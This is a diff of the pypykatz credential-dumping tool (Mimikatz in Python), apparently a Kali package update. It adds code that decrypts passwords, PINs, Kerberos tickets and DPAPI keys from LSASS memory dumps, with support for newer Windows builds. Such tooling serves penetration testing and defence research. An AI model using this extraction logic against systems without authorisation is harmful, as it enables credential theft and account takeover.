diff --git a/PKG-INFO b/PKG-INFO
index e777e63..9b99819 100644
--- a/PKG-INFO
+++ b/PKG-INFO
@@ -1,14 +1,12 @@
-Metadata-Version: 1.2
+Metadata-Version: 2.1
 Name: pypykatz
-Version: 0.4.9
+Version: 0.6.3
 Summary: Python implementation of Mimikatz
 Home-page: https://github.com/skelsec/pypykatz
 Author: Tamas Jos
 Author-email: info@skelsecprojects.com
-License: UNKNOWN
-Description: UNKNOWN
-Platform: UNKNOWN
 Classifier: Programming Language :: Python :: 3.6
 Classifier: License :: OSI Approved :: MIT License
 Classifier: Operating System :: OS Independent
 Requires-Python: >=3.6
+License-File: LICENSE
diff --git a/README.md b/README.md
index 6363fc3..9edbda8 100644
--- a/README.md
+++ b/README.md
@@ -1,10 +1,22 @@
+![Supported Python versions](https://img.shields.io/badge/python-3.7+-blue.svg) [![Twitter](https://img.shields.io/twitter/follow/skelsec?label=skelsec&style=social)](https://twitter.com/intent/follow?screen_name=skelsec)
+
+:triangular_flag_on_post: This is the public repository of PyPyKatz, for latest version and updates please consider supporting us through https://porchetta.industries/
+
 # pypykatz
 Mimikatz implementation in pure Python. At least a part of it :)  
 Runs on all OS's which support python>=3.6
 ![pypy_card](https://user-images.githubusercontent.com/19204702/71646030-221fe200-2ce1-11ea-9e2a-e587ea4790d7.jpg)
 
-## Sponsors
-[<img src="https://user-images.githubusercontent.com/19204702/112737376-6e94b480-8f5a-11eb-8134-06397e83a3b9.png" width="130" height="130"/>](https://kovert.no/)
+## :triangular_flag_on_post: Sponsors
+
+If you want to sponsors this project and have the latest updates on this project, latest issues fixed, latest features, please support us on https://porchetta.industries/
+
+## Official Discord Channel
+
+Come hang out on Discord!
+
+[![Porchetta Industries](https://discordapp.com/api/guilds/736724457258745996/widget.png?style=banner3)](https://discord.gg/ycGXUxy)
+
 
 
 ## WIKI
diff --git a/debian/changelog b/debian/changelog
index e1c0ce6..d5498e5 100644
--- a/debian/changelog
+++ b/debian/changelog
@@ -1,3 +1,9 @@
+pypykatz (0.6.3-0kali1) UNRELEASED; urgency=low
+
+  * New upstream release.
+
+ -- Kali Janitor <janitor@kali.org>  Thu, 01 Dec 2022 10:03:33 -0000
+
 pypykatz (0.4.9-0kali1) kali-dev; urgency=medium
 
   [ Kali Janitor ]
diff --git a/pypykatz.egg-info/PKG-INFO b/pypykatz.egg-info/PKG-INFO
index e777e63..9b99819 100644
--- a/pypykatz.egg-info/PKG-INFO
+++ b/pypykatz.egg-info/PKG-INFO
@@ -1,14 +1,12 @@
-Metadata-Version: 1.2
+Metadata-Version: 2.1
 Name: pypykatz
-Version: 0.4.9
+Version: 0.6.3
 Summary: Python implementation of Mimikatz
 Home-page: https://github.com/skelsec/pypykatz
 Author: Tamas Jos
 Author-email: info@skelsecprojects.com
-License: UNKNOWN
-Description: UNKNOWN
-Platform: UNKNOWN
 Classifier: Programming Language :: Python :: 3.6
 Classifier: License :: OSI Approved :: MIT License
 Classifier: Operating System :: OS Independent
 Requires-Python: >=3.6
+License-File: LICENSE
diff --git a/pypykatz.egg-info/SOURCES.txt b/pypykatz.egg-info/SOURCES.txt
index 4cbccaa..f9d9267 100644
--- a/pypykatz.egg-info/SOURCES.txt
+++ b/pypykatz.egg-info/SOURCES.txt
@@ -64,6 +64,7 @@ pypykatz/commons/win_datatypes.py
 pypykatz/commons/readers/__init__.py
 pypykatz/commons/readers/local/__init__.py
 pypykatz/commons/readers/local/live_reader.py
+pypykatz/commons/readers/local/process.py
 pypykatz/commons/readers/local/common/__init__.py
 pypykatz/commons/readers/local/common/advapi32.py
 pypykatz/commons/readers/local/common/defines.py
@@ -107,27 +108,11 @@ pypykatz/commons/winapi/local/function_defs/privileges_types.py
 pypykatz/commons/winapi/local/function_defs/psapi.py
 pypykatz/commons/winapi/local/function_defs/version.py
 pypykatz/commons/winapi/local/function_defs/winreg.py
-pypykatz/crypto/MD4.py
-pypykatz/crypto/RC4.py
-pypykatz/crypto/__init__.py
-pypykatz/crypto/des.py
-pypykatz/crypto/aes/AES.py
-pypykatz/crypto/aes/__init__.py
-pypykatz/crypto/aes/blockfeeder.py
-pypykatz/crypto/aes/util.py
-pypykatz/crypto/unified/__init__.py
-pypykatz/crypto/unified/aes.py
-pypykatz/crypto/unified/aesgcm.py
-pypykatz/crypto/unified/common.py
-pypykatz/crypto/unified/des.py
-pypykatz/crypto/unified/des3.py
-pypykatz/crypto/unified/gcmtest.py
-pypykatz/crypto/unified/pbkdf2.py
-pypykatz/crypto/unified/pkcs7.py
 pypykatz/dpapi/__init__.py
 pypykatz/dpapi/cmdhelper.py
 pypykatz/dpapi/constants.py
 pypykatz/dpapi/dpapi.py
+pypykatz/dpapi/extras.py
 pypykatz/dpapi/functiondefs/__init__.py
 pypykatz/dpapi/functiondefs/dpapi.py
 pypykatz/dpapi/structures/__init__.py
@@ -186,8 +171,17 @@ pypykatz/lsadecryptor/packages/tspkg/templates.py
 pypykatz/lsadecryptor/packages/wdigest/__init__.py
 pypykatz/lsadecryptor/packages/wdigest/decryptor.py
 pypykatz/lsadecryptor/packages/wdigest/templates.py
+pypykatz/parsers/__init__.py
+pypykatz/parsers/cmdhelper.py
 pypykatz/plugins/__init__.py
 pypykatz/plugins/pypykatz_rekall.py
+pypykatz/rdp/__init__.py
+pypykatz/rdp/cmdhelper.py
+pypykatz/rdp/parser.py
+pypykatz/rdp/packages/__init__.py
+pypykatz/rdp/packages/creds/__init__.py
+pypykatz/rdp/packages/creds/decryptor.py
+pypykatz/rdp/packages/creds/templates.py
 pypykatz/registry/__init__.py
 pypykatz/registry/aoffline_parser.py
 pypykatz/registry/cmdhelper.py
@@ -199,6 +193,7 @@ pypykatz/registry/sam/common.py
 pypykatz/registry/sam/sam.py
 pypykatz/registry/sam/structures.py
 pypykatz/registry/security/__init__.py
+pypykatz/registry/security/acommon.py
 pypykatz/registry/security/asecurity.py
 pypykatz/registry/security/common.py
 pypykatz/registry/security/security.py
@@ -224,6 +219,7 @@ pypykatz/smb/__init__.py
 pypykatz/smb/cmdhelper.py
 pypykatz/smb/dcsync.py
 pypykatz/smb/lsassutils.py
+pypykatz/smb/printer.py
 pypykatz/smb/regutils.py
 pypykatz/smb/shareenum.py
 pypykatz/utils/__init__.py
diff --git a/pypykatz.egg-info/entry_points.txt b/pypykatz.egg-info/entry_points.txt
index 3087678..c2d4f68 100644
--- a/pypykatz.egg-info/entry_points.txt
+++ b/pypykatz.egg-info/entry_points.txt
@@ -1,3 +1,2 @@
 [console_scripts]
 pypykatz = pypykatz.__main__:main
-
diff --git a/pypykatz.egg-info/requires.txt b/pypykatz.egg-info/requires.txt
index eae754c..e05e1e6 100644
--- a/pypykatz.egg-info/requires.txt
+++ b/pypykatz.egg-info/requires.txt
@@ -1,6 +1,9 @@
-aiosmb>=0.2.40
-aiowinreg>=0.0.4
-minidump>=0.0.17
-minikerberos>=0.2.10
-msldap>=0.3.27
-winacl>=0.1.1
+unicrypto>=0.0.9
+minidump>=0.0.21
+minikerberos>=0.3.5
+aiowinreg>=0.0.7
+msldap>=0.4.1
+winacl>=0.1.5
+aiosmb>=0.4.2
+aesedb>=0.1.0
+tqdm
diff --git a/pypykatz/__main__.py b/pypykatz/__main__.py
index 107eecb..dd505b4 100644
--- a/pypykatz/__main__.py
+++ b/pypykatz/__main__.py
@@ -11,6 +11,7 @@ def main():
 	import argparse
 	import glob
 	
+	from pypykatz import logger
 	from pypykatz.utils.crypto.cmdhelper import CryptoCMDHelper
 	from pypykatz.ldap.cmdhelper import LDAPCMDHelper
 	from pypykatz.kerberos.cmdhelper import KerberosCMDHelper
@@ -18,8 +19,10 @@ def main():
 	from pypykatz.registry.cmdhelper import RegistryCMDHelper
 	from pypykatz.remote.cmdhelper import RemoteCMDHelper
 	from pypykatz.dpapi.cmdhelper import DPAPICMDHelper
+	from pypykatz.rdp.cmdhelper import RDPCMDHelper
+	from pypykatz.parsers.cmdhelper import ParsersCMDHelper
 	
-	cmdhelpers = [LSACMDHelper(), RegistryCMDHelper(), CryptoCMDHelper(), KerberosCMDHelper(), RemoteCMDHelper(), DPAPICMDHelper(), LDAPCMDHelper()]
+	cmdhelpers = [LSACMDHelper(), RegistryCMDHelper(), CryptoCMDHelper(), KerberosCMDHelper(), RemoteCMDHelper(), DPAPICMDHelper(), LDAPCMDHelper(), RDPCMDHelper(), ParsersCMDHelper()]
 	
 	try:
 		from pypykatz.smb.cmdhelper import SMBCMDHelper
@@ -69,11 +72,14 @@ def main():
 	###### VERBOSITY
 	if args.verbose == 0:
 		logging.basicConfig(level=logging.INFO)
+		logger.setLevel(logging.INFO)
 	elif args.verbose == 1:
 		logging.basicConfig(level=logging.DEBUG)
+		logger.setLevel(logging.DEBUG)
 	else:
 		level = 5 - args.verbose
 		logging.basicConfig(level=level)
+		logger.setLevel(1)
 	
 	##### Common obj
 	#results = {}
diff --git a/pypykatz/_version.py b/pypykatz/_version.py
index 796b149..0744a2b 100644
--- a/pypykatz/_version.py
+++ b/pypykatz/_version.py
@@ -1,5 +1,5 @@
 
-__version__ = "0.4.9"
+__version__ = "0.6.3"
 __banner__ = \
 """
 # pypyKatz %s 
diff --git a/pypykatz/alsadecryptor/cmdhelper.py b/pypykatz/alsadecryptor/cmdhelper.py
index df27fbf..900ddc9 100644
--- a/pypykatz/alsadecryptor/cmdhelper.py
+++ b/pypykatz/alsadecryptor/cmdhelper.py
@@ -12,7 +12,7 @@ import traceback
 import asyncio
 import base64
 
-from pypykatz import logging
+from pypykatz import logger
 from pypykatz.apypykatz import apypykatz
 from pypykatz.commons.common import UniversalEncoder
 from pypykatz.alsadecryptor.packages.msv.decryptor import LogonSession
@@ -81,26 +81,37 @@ class LSACMDHelper:
 			print(json.dumps(results, cls = UniversalEncoder, indent=4, sort_keys=True))
 		
 		elif args.grep:
-			print(':'.join(LogonSession.grep_header))
+			if args.directory:
+				print(':'.join(['filename'] + LogonSession.grep_header))
+			else:
+				print(':'.join(LogonSession.grep_header))
 			for result in results:
 				for luid in results[result].logon_sessions:
 					for row in results[result].logon_sessions[luid].to_grep_rows():
+						if args.directory:
+							row = [result] + row
 						print(':'.join(row))
 				for cred in results[result].orphaned_creds:
 					t = cred.to_dict()
 					if t['credtype'] != 'dpapi':
 						if t['password'] is not None:
 							x =  [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])]
+							if args.directory:
+								x = [result] + x
 							print(':'.join(x))
 					else:
 						t = cred.to_dict()
 						x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), '']
+						if args.directory:
+							x = [result] + x
 						print(':'.join(x))
 
 				for pkg, err in results[result].errors:
 					err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__))
 					err_str = base64.b64encode(err_str.encode()).decode()
 					x =  [pkg+'_exception_please_report', '', '', '', '', '', '', '', '', err_str]
+					if args.directory:
+						x = [result] + x
 					print(':'.join(x) + '\r\n')
 
 		else:
@@ -133,7 +144,7 @@ class LSACMDHelper:
 		
 		if args.kerberos_dir:
 			dir = os.path.abspath(args.kerberos_dir)
-			logging.info('Writing kerberos tickets to %s' % dir)
+			logger.info('Writing kerberos tickets to %s' % dir)
 			for filename in results:
 				base_filename = ntpath.basename(filename)
 				ccache_filename = '%s_%s.ccache' % (base_filename, os.urandom(4).hex()) #to avoid collisions
@@ -164,28 +175,27 @@ class LSACMDHelper:
 				else:	
 					globdata = os.path.join(dir_fullpath, file_pattern)
 					
-				logging.info('Parsing folder %s' % dir_fullpath)
+				logger.info('Parsing folder %s' % dir_fullpath)
 				for filename in glob.glob(globdata, recursive=args.recursive):
-					logging.info('Parsing file %s' % filename)
+					logger.info('Parsing file %s' % filename)
 					try:
-						print('await')
 						mimi = await apypykatz.parse_minidump_file(filename, packages = args.packages)
 						results[filename] = mimi
 					except Exception as e:
 						files_with_error.append(filename)
-						logging.exception('Error parsing file %s ' % filename)
+						logger.exception('Error parsing file %s ' % filename)
 						if args.halt_on_error == True:
 							raise e
 						else:
 							pass
 					
 			else:
-				logging.info('Parsing file %s' % args.memoryfile)
+				logger.info('Parsing file %s' % args.memoryfile)
 				try:
 					mimi = await apypykatz.parse_minidump_file(args.memoryfile, packages = args.packages)
 					results[args.memoryfile] = mimi
 				except Exception as e:
-					logging.exception('Error while parsing file %s' % args.memoryfile)
+					logger.exception('Error while parsing file %s' % args.memoryfile)
 					if args.halt_on_error == True:
 						raise e
 					else:
diff --git a/pypykatz/alsadecryptor/lsa_decryptor_nt5.py b/pypykatz/alsadecryptor/lsa_decryptor_nt5.py
index e56fc95..8a8a299 100644
--- a/pypykatz/alsadecryptor/lsa_decryptor_nt5.py
+++ b/pypykatz/alsadecryptor/lsa_decryptor_nt5.py
@@ -3,9 +3,8 @@
 # Author:
 #  Tamas Jos (@skelsec)
 #
-import io
-import logging
-from pypykatz.crypto.RC4 import RC4
+
+from unicrypto.symmetric import RC4
 from pypykatz.alsadecryptor.package_commons import PackageDecryptor
 from pypykatz.alsadecryptor.win_datatypes import LONG
 
@@ -88,7 +87,7 @@ class LsaDecryptor_NT5(PackageDecryptor):
 		self.log('Looking for main struct signature in memory...')
 		fl = self.reader.find_in_module('lsasrv.dll', self.decryptor_template.signature)
 		if len(fl) == 0:
-			logging.debug('signature not found! %s' % self.decryptor_template.signature.hex())
+			self.logger.log('signature not found! %s' % self.decryptor_template.signature.hex())
 			raise Exception('LSA signature not found!')
 			
 		self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl))
diff --git a/pypykatz/alsadecryptor/lsa_decryptor_nt6.py b/pypykatz/alsadecryptor/lsa_decryptor_nt6.py
index 024398d..9790184 100644
--- a/pypykatz/alsadecryptor/lsa_decryptor_nt6.py
+++ b/pypykatz/alsadecryptor/lsa_decryptor_nt6.py
@@ -7,8 +7,7 @@
 
 from pypykatz import logger
 from pypykatz.commons.common import hexdump
-from pypykatz.crypto.des import triple_des, CBC
-from pypykatz.crypto.aes import AESModeOfOperationCFB
+from unicrypto.symmetric import MODE_CBC, MODE_CFB, AES, TDES
 from pypykatz.alsadecryptor.package_commons import PackageDecryptor
 
 class LsaDecryptor_NT6(PackageDecryptor):
@@ -86,12 +85,12 @@ class LsaDecryptor_NT6(PackageDecryptor):
 			if size % 8:
 				if not self.aes_key or not self.iv:
 					return cleartext
-				cipher = AESModeOfOperationCFB(self.aes_key, iv = self.iv)
+				cipher = AES(self.aes_key, MODE_CFB, self.iv)
 				cleartext = cipher.decrypt(encrypted)
 			else:
 				if not self.des_key or not self.iv:
 					return cleartext
-				cipher = triple_des(self.des_key, CBC, self.iv[:8])
+				cipher = TDES(self.des_key, MODE_CBC, self.iv[:8])
 				cleartext = cipher.decrypt(encrypted)
 		return cleartext
 
diff --git a/pypykatz/alsadecryptor/lsa_template_nt6.py b/pypykatz/alsadecryptor/lsa_template_nt6.py
index 6e8f5c8..9f27d5a 100644
--- a/pypykatz/alsadecryptor/lsa_template_nt6.py
+++ b/pypykatz/alsadecryptor/lsa_template_nt6.py
@@ -66,10 +66,13 @@ class LsaTemplate_NT6(PackageTemplate):
 				
 			elif WindowsMinBuild.WIN_10.value <= sysinfo.buildnumber <= WindowsBuild.WIN_10_1507.value:
 				template = templates['nt6']['x86']['5']
-				
-				
-			elif sysinfo.buildnumber > WindowsBuild.WIN_10_1507.value:
+			
+			elif WindowsBuild.WIN_10_1507.value > sysinfo.buildnumber < WindowsBuild.WIN_10_1909.value:
+				#6
 				template = templates['nt6']['x86']['6']
+			else:
+				#7
+				template = templates['nt6']['x86']['7']
 		
 		elif sysinfo.architecture == KatzSystemArchitecture.X64:
 		
@@ -221,6 +224,49 @@ class KIWI_BCRYPT_KEY81:
 		res.hardkey = await KIWI_HARD_KEY.load(reader)
 		return res
 		
+	def verify(self):
+		return self.tag == b'KSSM'
+
+
+class KIWI_BCRYPT_KEY81_NEW:
+	def __init__(self):
+		self.size = None
+		self.tag  = None
+		self.type = None 
+		self.unk0 = None 
+		self.unk1 = None 
+		self.unk2 = None  
+		self.unk3 = None 
+		self.unk4 = None 
+		self.unk5 = None	#before, align in x64
+		self.unk6 = None
+		self.unk7 = None
+		self.unk8 = None
+		self.unk9 = None
+		self.unk10 = None
+		self.hardkey = None
+	
+	@staticmethod
+	async def load(reader):
+		res = KIWI_BCRYPT_KEY81_NEW()
+		res.size = await ULONG.loadvalue(reader)
+		res.tag  = await reader.read(4)	# 'MSSK'
+		res.type = await ULONG.loadvalue(reader)
+		res.unk0 = await ULONG.loadvalue(reader)
+		res.unk1 = await ULONG.loadvalue(reader)
+		res.unk2 = await ULONG.loadvalue(reader) 
+		res.unk3 = await ULONG.loadvalue(reader)
+		res.unk4 = await ULONG.loadvalue(reader)
+		await reader.align()
+		res.unk5 = await PVOID.load(reader)	#before, align in x64
+		res.unk6 = await ULONG.loadvalue(reader)
+		res.unk7 = await ULONG.loadvalue(reader)
+		res.unk8 = await ULONG.loadvalue(reader)
+		res.unk9 = await ULONG.loadvalue(reader)
+		res.unk10 = await ULONG.loadvalue(reader)
+		res.hardkey = await KIWI_HARD_KEY.load(reader)
+		return res
+		
 	def verify(self):
 		return self.tag == b'KSSM' 
 		
@@ -416,7 +462,19 @@ class LSA_x86_6(LsaTemplate_NT6):
 		self.key_struct = KIWI_BCRYPT_KEY81
 		self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
 
+class LSA_x86_7(LsaTemplate_NT6):
+	def __init__(self):
+		LsaTemplate_NT6.__init__(self)
 
+		self.key_pattern = LSADecyptorKeyPattern()
+		self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
+		self.key_pattern.IV_length = 16
+		self.key_pattern.offset_to_IV_ptr = 5
+		self.key_pattern.offset_to_DES_key_ptr = -79
+		self.key_pattern.offset_to_AES_key_ptr = -22
+
+		self.key_struct = KIWI_BCRYPT_KEY81_NEW
+		self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
 
 templates = {
 	'nt6' : {
@@ -435,6 +493,7 @@ templates = {
 			'4' : LSA_x86_4(),
 			'5' : LSA_x86_5(),
 			'6' : LSA_x86_6(),
+			'7' : LSA_x86_7(),
 		}
 	}
 }
\ No newline at end of file
diff --git a/pypykatz/alsadecryptor/package_commons.py b/pypykatz/alsadecryptor/package_commons.py
index 05a8f6f..77d9362 100644
--- a/pypykatz/alsadecryptor/package_commons.py
+++ b/pypykatz/alsadecryptor/package_commons.py
@@ -5,7 +5,7 @@
 #
 
 from abc import ABC, abstractmethod
-import logging
+from pypykatz import logger
 from pypykatz.commons.common import hexdump
 from pypykatz.alsadecryptor.win_datatypes import RTL_AVL_TABLE
 
@@ -14,7 +14,7 @@ class Logger:
 		self.package_name = package_name
 		self.module_name = module_name
 		self.sysinfo = sysinfo
-		self.logger = logging.getLogger('pypykatz')
+		self.logger = logger
 		
 	def get_level(self):
 		return self.logger.getEffectiveLevel()
@@ -117,13 +117,13 @@ class PackageDecryptor:
 		if temp and len(temp) > 0:
 			if bytes_expected == False:
 				try: # normal password
-					dec_password = temp.decode('ascii')
+					dec_password = temp.decode('utf-16-le')
 				except: # machine password
 					try:
 						dec_password = temp.decode('utf-8')
 					except:
 						try:
-							dec_password = temp.decode('utf-16-le')
+							dec_password = temp.decode('ascii')
 						except:
 							dec_password = temp.hex()
 				else: # if not machine password, then check if we should trim it
@@ -132,7 +132,7 @@ class PackageDecryptor:
 			else:
 				dec_password = temp
 		
-		return dec_password
+		return dec_password, temp
 		
 	async def walk_avl(self, node_ptr, result_ptr_list):
 		"""
diff --git a/pypykatz/alsadecryptor/packages/__init__.py b/pypykatz/alsadecryptor/packages/__init__.py
index 5d21ccb..adc298e 100644
--- a/pypykatz/alsadecryptor/packages/__init__.py
+++ b/pypykatz/alsadecryptor/packages/__init__.py
@@ -7,8 +7,8 @@
 from .credman.templates import *
 from .dpapi.templates import *
 from .dpapi.decryptor import *
-#from .kerberos.templates import *
-#from .kerberos.decryptor import *
+from .kerberos.templates import *
+from .kerberos.decryptor import *
 from .livessp.templates import *
 from .livessp.decryptor import *
 from .msv.templates import *
@@ -24,7 +24,7 @@ from .cloudap.decryptor import *
 
 __credman__ = ['CredmanTemplate']
 __dpapi__ = ['DpapiTemplate', 'DpapiDecryptor', 'DpapiCredential']
-#__kerberos__ = ['KerberosTemplate','KerberosDecryptor']
+__kerberos__ = ['KerberosTemplate','KerberosDecryptor']
 __msv__ = ['MsvTemplate', 'MsvDecryptor', 'MsvCredential']
 __ssp__ = ['SspTemplate', 'SspDecryptor', 'SspCredential']
 __livessp__ = ['LiveSspTemplate', 'LiveSspDecryptor', 'LiveSspCredential']
@@ -34,4 +34,4 @@ __cloudap__ = ['CloudapTemplate', 'CloudapDecryptor','CloudapCredential']
 
 
 #__kerberos__
-__all__ = __cloudap__ + __credman__ + __dpapi__  + __msv__ + __ssp__ + __livessp__ + __tspkg__ + __wdigest__
\ No newline at end of file
+__all__ = __cloudap__ + __credman__ + __dpapi__  + __msv__ + __ssp__ + __livessp__ + __tspkg__ + __wdigest__ + __kerberos__
\ No newline at end of file
diff --git a/pypykatz/alsadecryptor/packages/cloudap/decryptor.py b/pypykatz/alsadecryptor/packages/cloudap/decryptor.py
index 766a6f1..9863c99 100644
--- a/pypykatz/alsadecryptor/packages/cloudap/decryptor.py
+++ b/pypykatz/alsadecryptor/packages/cloudap/decryptor.py
@@ -58,7 +58,7 @@ class CloudapDecryptor(PackageDecryptor):
 			cred.cachedir = cache.toname.decode('utf-16-le').replace('\x00','')
 			if cache.cbPRT != 0 and cache.PRT.value != 0:
 				ptr_enc = await cache.PRT.read_raw(self.reader, cache.cbPRT)
-				temp = self.decrypt_password(ptr_enc, bytes_expected=True)
+				temp, raw_dec = self.decrypt_password(ptr_enc, bytes_expected=True)
 				try:
 					temp = temp.decode()
 				except:
@@ -70,7 +70,7 @@ class CloudapDecryptor(PackageDecryptor):
 				unk = await cache.toDetermine.read(self.reader)
 				if unk is not None:
 					cred.key_guid = unk.guid.value
-					cred.dpapi_key = self.decrypt_password(unk.unk)
+					cred.dpapi_key, raw_dec = self.decrypt_password(unk.unk)
 					cred.dpapi_key_sha1 = hashlib.sha1(bytes.fromhex(cred.dpapi_key)).hexdigest()
 
 			if cred.PRT is None and cred.key_guid is None:
diff --git a/pypykatz/alsadecryptor/packages/dpapi/decryptor.py b/pypykatz/alsadecryptor/packages/dpapi/decryptor.py
index 9f35c19..64b94d1 100644
--- a/pypykatz/alsadecryptor/packages/dpapi/decryptor.py
+++ b/pypykatz/alsadecryptor/packages/dpapi/decryptor.py
@@ -50,9 +50,11 @@ class DpapiDecryptor(PackageDecryptor):
 		return ptr_entry, ptr_entry_loc
 		
 	async def add_entry(self, dpapi_entry):
-		
+		if dpapi_entry.key is None:
+			return
+			
 		if dpapi_entry and dpapi_entry.keySize > 0: #and dpapi_entry.keySize % 8 == 0:
-			dec_masterkey = self.decrypt_password(dpapi_entry.key, bytes_expected = True)
+			dec_masterkey, raw_dec = self.decrypt_password(dpapi_entry.key, bytes_expected = True)
 			sha_masterkey = hashlib.sha1(dec_masterkey).hexdigest()
 			
 			c = DpapiCredential()
diff --git a/pypykatz/alsadecryptor/packages/dpapi/templates.py b/pypykatz/alsadecryptor/packages/dpapi/templates.py
index 2367fe8..94ef5ca 100644
--- a/pypykatz/alsadecryptor/packages/dpapi/templates.py
+++ b/pypykatz/alsadecryptor/packages/dpapi/templates.py
@@ -108,5 +108,8 @@ class KIWI_MASTERKEY_CACHE_ENTRY:
 		res.KeyUid = await GUID.loadvalue(reader)
 		res.insertTime = await FILETIME.load(reader)
 		res.keySize = await ULONG.loadvalue(reader)
-		res.key = await reader.read(res.keySize)
+		if res.keySize < 512:
+			res.key = await reader.read(res.keySize)
+		else:
+			res.key = None
 		return res
diff --git a/pypykatz/alsadecryptor/packages/kerberos/decryptor.py b/pypykatz/alsadecryptor/packages/kerberos/decryptor.py
index 2301081..55339e2 100644
--- a/pypykatz/alsadecryptor/packages/kerberos/decryptor.py
+++ b/pypykatz/alsadecryptor/packages/kerberos/decryptor.py
@@ -3,23 +3,23 @@
 # Author:
 #  Tamas Jos (@skelsec)
 #
-import io
-
-
-from pypykatz.alsadecryptor.kerberosticket import KerberosTicket, KerberosTicketType
+from typing import List
+from pypykatz.commons.kerberosticket import KerberosTicket, KerberosTicketType
 from pypykatz.alsadecryptor.package_commons import PackageDecryptor
 from pypykatz.alsadecryptor.win_datatypes import PLIST_ENTRY, PRTL_AVL_TABLE
 from pypykatz.commons.common import WindowsMinBuild
 
 class KerberosCredential:
 	def __init__(self):
-		self.credtype = 'kerberos'
-		self.username = None
-		self.password = None
-		self.domainname = None
-		self.luid = None
-		self.tickets = []
-		self.pin = None
+		self.credtype:str = 'kerberos'
+		self.username:str = None
+		self.password:str = None
+		self.password_raw:bytes = b''
+		self.domainname:str = None
+		self.luid:int = None
+		self.tickets:List[KerberosTicket] = []
+		self.pin:str = None
+		self.pin_raw:bytes = None
 		self.cardinfo = None
 		
 	def __str__(self):
@@ -28,8 +28,10 @@ class KerberosCredential:
 		t += '\t\tDomain: %s\n' % self.domainname
 		if self.password is not None:
 			t += '\t\tPassword: %s\n' % self.password
+			t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
 		if self.pin is not None:
 			t += '\t\tPIN: %s\n' % self.pin
+			t += '\t\tPIN (hex): %s\n' % self.pin_raw.hex()
 		if self.cardinfo is not None:
 			t += '\t\tCARDINFO: \n'
 			t += '\t\t\tCardName: %s\n' % self.cardinfo['CardName']
@@ -50,9 +52,11 @@ class KerberosCredential:
 		t['credtype'] = self.credtype
 		t['username'] = self.username
 		t['password'] = self.password
+		t['password_raw'] = self.password_raw
 		t['domainname'] = self.domainname
 		t['luid'] = self.luid
 		t['pin'] = self.pin
+		t['pin_raw'] = self.pin_raw
 		t['cardinfo'] = self.cardinfo
 		t['tickets'] = []
 		for ticket in self.tickets:
@@ -70,81 +74,79 @@ class KerberosDecryptor(PackageDecryptor):
 		self.current_ticket_type = None
 		self.current_cred = None
 
-	def find_first_entry(self):
-		position = self.find_signature('kerberos.dll',self.decryptor_template.signature)
-		ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset)
-		ptr_entry = self.reader.get_ptr(ptr_entry_loc)
+	async def find_first_entry(self):
+		position = await self.find_signature('kerberos.dll',self.decryptor_template.signature)
+		ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset)
+		ptr_entry = await self.reader.get_ptr(ptr_entry_loc)
 		return ptr_entry, ptr_entry_loc
 	
-	def handle_ticket(self, kerberos_ticket):
+	async def handle_ticket(self, kerberos_ticket):
 		try:
-			kt = KerberosTicket.parse(kerberos_ticket, self.reader, self.decryptor_template.sysinfo, self.current_ticket_type)
+			#input(kerberos_ticket)
+			kt = await KerberosTicket.aparse(kerberos_ticket, self.reader, self.decryptor_template.sysinfo, self.current_ticket_type)
 			self.current_cred.tickets.append(kt)
 			#print(str(kt))
 		except Exception as e:
 			raise e
 	
-	def start(self):
+	async def start(self):
 		try:
-			entry_ptr_value, entry_ptr_loc = self.find_first_entry()
+			entry_ptr_value, entry_ptr_loc = await self.find_first_entry()
 		except Exception as e:
 			self.log('Failed to find structs! Reason: %s' % e)
 			return
 		
 		if self.sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
-			self.reader.move(entry_ptr_loc)
-			entry_ptr = PLIST_ENTRY(self.reader)
-			self.walk_list(entry_ptr, self.process_session_elist)
+			await self.reader.move(entry_ptr_loc)
+			entry_ptr = await PLIST_ENTRY.load(self.reader)
+			await self.walk_list(entry_ptr, self.process_session_elist)
 		else:
 			result_ptr_list = []
-			self.reader.move(entry_ptr_value)
-			start_node = PRTL_AVL_TABLE(self.reader).read(self.reader)
-			self.walk_avl(start_node.BalancedRoot.RightChild, result_ptr_list)
+			await self.reader.move(entry_ptr_value)
+			avl_table = await PRTL_AVL_TABLE.load(self.reader)
+			start_node = await avl_table.read(self.reader)
+			await self.walk_avl(start_node.BalancedRoot.RightChild, result_ptr_list)
 			
 			for ptr in result_ptr_list:
-				self.log_ptr(ptr, self.decryptor_template.kerberos_session_struct.__name__)
-				self.reader.move(ptr)
-				kerberos_logon_session = self.decryptor_template.kerberos_session_struct(self.reader)
-				self.process_session(kerberos_logon_session)
+				await self.log_ptr(ptr, self.decryptor_template.kerberos_session_struct.__name__)
+				await self.reader.move(ptr)
+				kerberos_logon_session = await self.decryptor_template.kerberos_session_struct.load(self.reader)
+				await self.process_session(kerberos_logon_session)
 
-	def process_session_elist(self, elist):
-		self.reader.move(elist.location)
-		self.reader.read_uint() #Flink do not remove this line!
-		self.reader.read_uint() #Blink do not remove this line!
-		kerberos_logon_session = self.decryptor_template.kerberos_session_struct(self.reader)
-		self.process_session(kerberos_logon_session)
+	async def process_session_elist(self, elist):
+		await self.reader.move(elist.location)
+		await self.reader.read_uint() #Flink do not remove this line!
+		await self.reader.read_uint() #Blink do not remove this line!
+		kerberos_logon_session = await self.decryptor_template.kerberos_session_struct.load(self.reader)
+		await self.process_session(kerberos_logon_session)
 
-	def process_session(self, kerberos_logon_session):
+	async def process_session(self, kerberos_logon_session):
 		self.current_cred = KerberosCredential()
 		self.current_cred.luid = kerberos_logon_session.LocallyUniqueIdentifier
 		
-		self.current_cred.username = kerberos_logon_session.credentials.UserName.read_string(self.reader)
-		self.current_cred.domainname = kerberos_logon_session.credentials.Domaine.read_string(self.reader)
-		if self.current_cred.username.endswith('$') is True:
-			self.current_cred.password = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader), bytes_expected=True)
-			if self.current_cred.password is not None:
-				self.current_cred.password = self.current_cred.password.hex()
